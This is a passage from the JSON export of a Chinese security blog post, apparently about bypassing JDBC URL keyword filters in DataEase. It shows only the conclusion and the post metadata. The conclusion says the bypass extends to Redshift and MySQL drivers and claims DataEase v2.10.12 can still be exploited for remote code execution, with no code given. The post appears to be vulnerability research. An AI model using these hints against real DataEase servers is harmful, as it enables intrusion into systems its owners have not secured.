data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250626-012740-26-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u603b\u7ed3<\/h1>\n\n\n\n<p>\u4ece\u4e0a\u9762\u7684\u7ed5\u8fc7\u903b\u8f91\u53ef\u4ee5\u770b\u51fa\u6765\uff0c\u9664\u4e86h2\u4e4b\u5916\uff0c\u5176\u4ed6\u7684\u5f15\u64ce\u6bd4\u5982redshift\u3001mysql\u4e5f\u80fd\u6309\u7167\u76f8\u540c\u7684\u903b\u8f91bypass\u3002\u6574\u4e2a\u7ed5\u8fc7\u7684\u5173\u952e\u5c31\u662f\u8f6c\u5316\u601d\u8def\uff0c\u56e0\u4e3a\u73b0\u5728\u518d\u7ee7\u7eed\u786c\u521a\u5173\u952e\u5b57\u8fc7\u6ee4\u5df2\u7ecf\u975e\u5e38\u56f0\u96be\u4e86\uff0c\u60f3\u7ee7\u7eed\u7ed5\u8fc7\u5f97\u6df1\u5165\u5e95\u5c42\u624d\u53ef\u80fd\u627e\u5230\u4ec0\u4e48\u795e\u5947\u7684\u7ed5\u8fc7\u5c0ftrick\uff0c\u800c\u5f53\u6211\u4eec\u6362\u79cd\u65b9\u5f0f\u601d\u8003\uff0c\u5206\u6790\u9879\u76ee\u7684\u89e3\u6790\u903b\u8f91\u800c\u4e0d\u4ec5\u4ec5\u662fjdbc url\uff0c\u6211\u4eec\u5c31\u80fd\u53d1\u73b0\u5176\u5b9e\u4f1a\u6709\u4e00\u79cd\u66f4\u52a0\u4f18\u96c5\u7684\u65b9\u5f0f\u8fdb\u884c\u7ed5\u8fc7\u3002<\/p>\n\n\n\n<p>\u5c0f\u5f69\u86cb\uff1a\u5176\u5b9edataease\u5b98\u65b9\u5bf9\u4e8e\u9a71\u52a8\u8986\u76d6\u7684\u4fee\u590d\u5e76\u4e0d\u5f7b\u5e95\uff0c\u5bfc\u81f4\u6700\u65b0\u7248<a href=\"https:\/\/github.com\/dataease\/dataease\/releases\/tag\/v2.10.12\">v2.10.12<\/a>\u91cc\u8fd8\u80fd\u88abRCE\uff0c\u671f\u5f85\u6709\u7f18\u4eba\u53d1\u73b0\u7136\u540e\u4ea4\u4e86XD<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u6587\u9996\u53d1\u516c\u4f17\u53f7\u6f2b\u6f2b\u5b89\u5168\u8def\uff1ahttps:\/\/mp.weixin.qq.com\/s\/3luOvtjpff94izA [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3854","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3854"}],"version-history":[{"count":10,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3854\/revisions"}],"predecessor-version":[{"id":4010,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3854\/revisions\/4010"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}